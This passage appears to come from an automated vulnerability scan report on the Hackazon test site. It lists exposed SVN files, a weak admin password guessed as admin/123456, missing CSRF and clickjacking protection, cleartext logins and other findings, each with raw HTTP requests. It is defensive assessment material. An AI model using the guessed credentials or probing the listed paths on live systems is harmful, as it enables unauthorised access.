Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/fonts

Details

SVN files found at : /fonts/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/fonts

Repository files/directories:

- fontawesome-webfont.woff
- glyphicons-halflings-regular.eot
- FontAwesome.otf
- glyphicons-halflings-regular.ttf
- fontawesome-webfont.eot
- glyphicons-halflings-regular.svg
- glyphicons-halflings-regular.woff
- fontawesome-webfont.ttf
- fontaweso ... (line truncated)

Request headers

```
GET /fonts/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/js

Details

SVN files found at : /js/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/js

Repository files/directories:

- jquery.min.map
- ladda.jquery.min.js
- bootstrapValidator.min.js
- <dir> plugins/
- koExternalTemplateEngine_all.min.js
- modern-business.js
- bootstrap.js
- html5shiv.js
- jquery.form-validator.min.js
- ladda.min.js
- ...

Re ... (line truncated)

Request headers

```
GET /js/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/js/amf

Details

SVN files found at : /js/amf/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/js/amf

Repository files/directories:

- services.js

Repository users:

- nick.chervyakov@gmail.com

Request headers

```
GET /js/amf/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Weak password

Severity	**High**
Type	Informational
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

Manual confirmation is required for this alert.
This page is using a weak password. Acunetix WVS was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes.

Impact

An attacker may access the contents of the password-protected page.

Recommendation

Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words.

References

Wikipedia - Password strength
Authentication Hacking Attacks

Affected items

/admin/user/login

Details

Username: admin, Password: 123456

Request headers

```
POST /admin/user/login HTTP/1.1
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

password=123456&username=admin
```

HTML form without CSRF protection

Severity	**Medium**
Type	Informational
Reported by module	Crawler

Description

This alert may be a false positive, manual confirmation is required.
Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.

Acunetix WVS found a HTML form with no apparent CSRF protection implemented. Consult details for more information about the affected HTML form.

Impact

An attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Recommendation

Check if this form requires CSRF protection and implement CSRF countermeasures if necessary.

Affected items

/

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/search
Form method: GET

Form inputs:

- id [Hidden]
- searchString [Text]

Request headers

```
GET / HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
GET / HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/admin/user/login

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/admin/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
GET /admin/user/login HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/admin
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/bestprice

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
GET /bestprice HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/install

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/install/db_settings
Form method: POST

Form inputs:

- host [Text]
- user [Text]
- password [Password]
- use_existing_password [Checkbox]
- db [Text]
- create_if_not_exists [Checkbox]

Request headers

```
GET /install HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider

Details

Form name: hostListForm
Form action: http://hackazon.webscantest.com/report/ntospider/
Form method: GET

Form inputs:

- hostlist [Select]

Request headers

```
GET /report/ntospider/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
GET /user/login HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login (8e13c9ba83d4f758824bd24bda1dd61d)

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
POST /user/login HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

password=g00dPa%24%24w0rD&username=wnnifuxr
```

/user/password

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/password
Form method: POST

Form inputs:

- email [Text]

Request headers

```
GET /user/password HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/password

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/password
Form method: POST

Form inputs:

- email [Text]

Request headers

```
GET /user/password HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/register

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/register
Form method: POST

Form inputs:

- first_name [Text]
- last_name [Text]
- username [Text]
- email [Text]
- password [Password]
- password_confirmation [Password]

Request headers

```
GET /user/register HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/register

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/register
Form method: POST

Form inputs:

- first_name [Text]
- last_name [Text]
- username [Text]
- email [Text]
- password [Password]
- password_confirmation [Password]

Request headers

```
GET /user/register HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/register (ada5785eb89798b97ec6eecc06e3ba3e)

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/register
Form method: POST

Form inputs:

- first_name [Text]
- last_name [Text]
- username [Text]
- email [Text]
- password [Password]
- password_confirmation [Password]

Request headers

```
POST /user/register HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/user/register
Content-Length: 138
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

email=sample%40email.tst&first_name=vgjbkbaa&last_name=nfrkcsxs&password=g00dPa%24%24w0r
D&password_confirmation=Acunetix&username=rxjcsvcm
```

/wishlist

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/wishlist/
Form method: GET

Form inputs:

- search [Text]

Request headers

```
GET /wishlist/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/wishlist
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/wishlist

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/wishlist/
Form method: GET

Form inputs:

- search [Text]

Request headers

```
GET /wishlist/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/wishlist
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Insecure crossdomain.xml file

Severity	**Medium**
Type	Configuration
Reported by module	Scripting (Crossdomain_XML.script)

Description

The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).

When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so:
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files.

Impact

Using an insecure cross-domain policy file could expose your site to various attacks.

Recommendation

Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.

References

Cross-domain policy file usage recommendations for Flash Player
Cross-domain policy files

Affected items

Web Server
Details
The crossdomain.xml file is located at /crossdomain.xml
Request headers

```
GET /crossdomain.xml HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

User credentials are sent in clear text

Severity	**Medium**
Type	Informational
Reported by module	Crawler

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

Affected items

/

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
GET / HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/admin/user/login

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/admin/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
GET /admin/user/login HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/admin
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
```

```
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/bestprice

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
GET /bestprice HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/install

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/install/db_settings
Form method: POST

Form inputs:

- host [Text]
- user [Text]
- password [Password]
- use_existing_password [Checkbox]
- db [Text]
- create_if_not_exists [Checkbox]

Request headers

```
GET /install HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
GET /user/login HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login (8e13c9ba83d4f758824bd24bda1dd61d)

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/login
Form method: POST

Form inputs:

- username [Text]
- password [Password]

Request headers

```
POST /user/login HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

password=g00dPa%24%24w0rD&username=wnnifuxr
```

/user/register

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/register
Form method: POST

Form inputs:

- first_name [Text]
- last_name [Text]
- username [Text]
- email [Text]
- password [Password]
- password_confirmation [Password]

Request headers

```
GET /user/register HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/register

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/register
Form method: POST

Form inputs:

- first_name [Text]
- last_name [Text]
- username [Text]
- email [Text]
- password [Password]
- password_confirmation [Password]

Request headers

```
GET /user/register HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/register (ada5785eb89798b97ec6eecc06e3ba3e)

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/user/register
Form method: POST

Form inputs:

- first_name [Text]
- last_name [Text]
- username [Text]
- email [Text]
- password [Password]
- password_confirmation [Password]

Request headers

```
POST /user/register HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/user/register
Content-Length: 138
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

email=sample%40email.tst&first_name=vgjbkbaa&last_name=nfrkcsxs&password=g00dPa%24%24w0r
D&password_confirmation=Acunetix&username=rxjcsvcm
```

Clickjacking: X-Frame-Options header missing

Severity	**Low**
Type	Configuration
Reported by module	Scripting (Clickjacking_X_Frame_Options.script)

Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Impact

The impact depends on the affected web application.

Recommendation

Configure your web server to include an X-Frame-Options header. Consult Web references for more information about the possible values for this header.

References

Clickjacking
Original Clickjacking paper
The X-Frame-Options response header

Affected items

Web Server

Details

No details are available.

Request headers

```
GET / HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Documentation file

Severity	**Low**
Type	Configuration
Reported by module	Scripting (Readme_Files.script)

Description

A documentation file (e.g. readme.txt, changelog.txt, ...) was found in this directory. The information contained in these files could help an attacker identify the web application you are using and sometimes the version of the application. It's recommended to remove these files from production systems.

Impact

These files may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Remove or restrict access to all documentation file acessible from internet.

Affected items

/Read Me.txt

Details

File contents (first 250 characters):<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>Hackazon — Error: 404 Not Found</title>

  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="description" content="">
...

Request headers

```
GET /Read Me.txt HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Hidden form input named price was found

Severity	**Low**
Type	Informational
Reported by module	Crawler

Description

A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields.

Impact

User may change price information before submitting the form.

Recommendation

Check if the script inputs are properly validated.

Affected items

/bestprice

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/bestprice
Form method: POST

Form inputs:

- userEmail [Text]
- _csrf_bestprice [Hidden]

Request headers

```
GET /bestprice HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/bestprice

Details

Form name: <empty>
Form action: http://hackazon.webscantest.com/bestprice
Form method: POST

Form inputs:

- userEmail [Text]
- _csrf_bestprice [Hidden]

Request headers

```
GET /bestprice HTTP/1.1
Pragma: no-cache
```

```
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search

Details

Form name: filter-block
Form action: http://hackazon.webscantest.com/search
Form method: GET

Form inputs:

- brand-filter[] [Hidden]
- brand-filter[] [Hidden]
- brand-filter[] [Hidden]
- brand-filter[] [Hidden]
- price-filter [Hidden]
- price-filter [Hidden]
- price-filter [Hidden]
- price-filter [Hidden]
- price-filter [Hidden]
- quality-filter [Hidden]
- qualit ... (line truncated)

Request headers

```
GET /search HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Login page password-guessing attack

Severity	**Low**
Type	Validation
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.

